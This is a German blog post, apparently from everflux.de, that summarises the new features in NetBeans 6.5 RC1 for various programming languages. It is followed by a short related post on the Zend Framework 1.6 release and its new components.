Netbeans für PHP Entwickler:

Wir haben Coden Completion, Syntax Highlighting, Refactoring soll noch folgen. Funktioniert alles soweit, besser als Eclipse mit dem PDE. Xdebug, Heredoc und Mysql Database code-snippet Generator. (Nicht getestet).

Netbeans für JavaScript und Ajax Entwickler

JavaScript Debugging mittels Firefox und auch Internet Explorer Integration. HTTP Überwachung (ähnlich wie LiveHttpHeaders bzw. Firebug für Firefox).

JavaScript Editor mit Syntax Highlighting und Code Completion. Support für die JavaScript Libraries Yahoo UI, Woodstock, jQuery, Dojo, Scraptaculous und Prototype js. CSS Editor.

Netbeans für Groovy und Grails

Groovy Projekt und Groovy in Java Projekten, Groovy Code Editor (highlighting, completion). Grails web application framework support. Direkte Bearbeitung von existierenden Grails Applikationen.

Netbeans für C++ Entwickler

Verbesserte Code completion, Fehlermarkierung und semantische Färbung des Quellcodes. Callgraph, Speicher Analyse. Packaging und Deployment Unterstützung.

Netbeans für Ruby on Rails Entwickler

Neues Interface für Test Runner, zur Visualisierung der Testergebnisse. Rake Runner und vorgefertigte Rake Dateien. Ruby Debugger unterstützt jetzt bedingte Breakpoints und catchpoints. Für JRuby werden JVM options auf der Kommandozeile akzeptiert.

Jetzt zurück zu den mehr oder minder direkt zu Java gehörigen Features von Netbeans 6.5.

Netbeans für Java EE und Web Entwickler

Die Netbeans Unterstützung für Spring, Hibernate, JSF (CRUD Generator) und JPA (Java Persistence API) wurden verbessert. Automatische Erzeugung von RESTful Webservicdes aus Datenbank schemata oder JPA Entitäten.

Drag and Drop SaaS services in PHP Dateien, SQL Editor Erweiterungen: Code Completion, Save/recall Abfragen. Automatisches Deployment beim Speichern und verbesesrter Import von Eclipse Projekten. (Das klappt wirklich gut inzwischen.)

Netbeans für Java Mobile ( JavaME) Entwickler

Neuer Projekt Wizard um eigene Komponenten zur Design Palette hinzuzufügen, SVG UI Elemente für den SVG UI Editor um SVG Userinterfaces zu erstellen. Neue Databinding Komponenten für den visuellen Editor. Upgrades für Java Obfuscator auf ProGuard 4.2 uns das Testframework JMunit 1.1.0

Java Debugging mit Netbeans

Neuer multi-thread Debugger mit verbessertem Userinterface und work-flow, inteliggentes step-into mit Methodenauswahl innerhalb von Ausdrücken sowie Deadlock Detektor mit visuellem Feedback.

Netbeans für Java SE Entwickler

Automatisches Kompilieren beim Speichern, Verbesserter Umgang mit Eclipse Projekten, Java Call Hierachie, JavaDoc Analyse und überarbeiteter Swing GUI Builder.

Netbeans – generelles

CamelCaseCodeCompleten, “CCCC”, pro Projekt können die Code Formate eingestellt werden (sehr schön!), QuickSearch die IDE Actions, Dateien, Optionen und Dokumente einbezieht

Ein Blick auf das neue Netbeans lohnt in jedem Fall – auch nicht aufgeführte erweiterte Features wie z.B. der UML Editor von Netbeans sind einen Blick wert. Auch der Matisse Swing UI Designer sucht seines gleichen.

Die gesamte Liste der Änderungen von Netbeans 6.5 findet sich hier. Zum Download von Netbeans 6.5 RC1 (Build 65) geht es hier.

Artikel von: everflux.de

Netbeans 6.5 kommt: RC1

Ähnliche Beiträge:

Zend Framework 1.6 erschienen

everflux — Sun, 07 Sep 2008 20:43:54 +0000

Das Zend Framework ist in Version 1.6 veröffentlicht worden. Die wohl größte Neuerung ist die enge Integration von Dojo.

Ansonsten gibt es ein paar neue Funktionen, die gesamte Anleitung als PDF und vor allem Fehlerbereinigungen gegenüber dem Zend Framework 1.5:

Zend_Tool
Lucene 2.3 Index File Format Support
Zend_Session save handler for Database Tables
Paginator Component
Figlet Support
ReCaptcha Service
Captcha Form Element
Zend_Config_Xml Attribute Support
Zend_File_Transfer Component
File Upload Form Element
Zend_Wildfire Component with FireBug Log Writer

Sehr gelungen ist auch die Integration von FirePHP in das Zend Framework, über das Christoph Dorn auch bloggt. Für die Controller gibt es nun Unit Test Unterstützung durch das Zend Framework, und Zend_Tool soll die Projektverwaltung vereinfachen.

Die ersten Bugs ließen nicht lange auf sich warten, für den produktiven Einsatz der neuen Features ist etwas abwarten auf die Version 1.6.1 des Zend Framework wohl zu empfehlen.

Artikel von: everflux.de

Zend Framework 1.6 erschienen

Ähnliche Beiträge: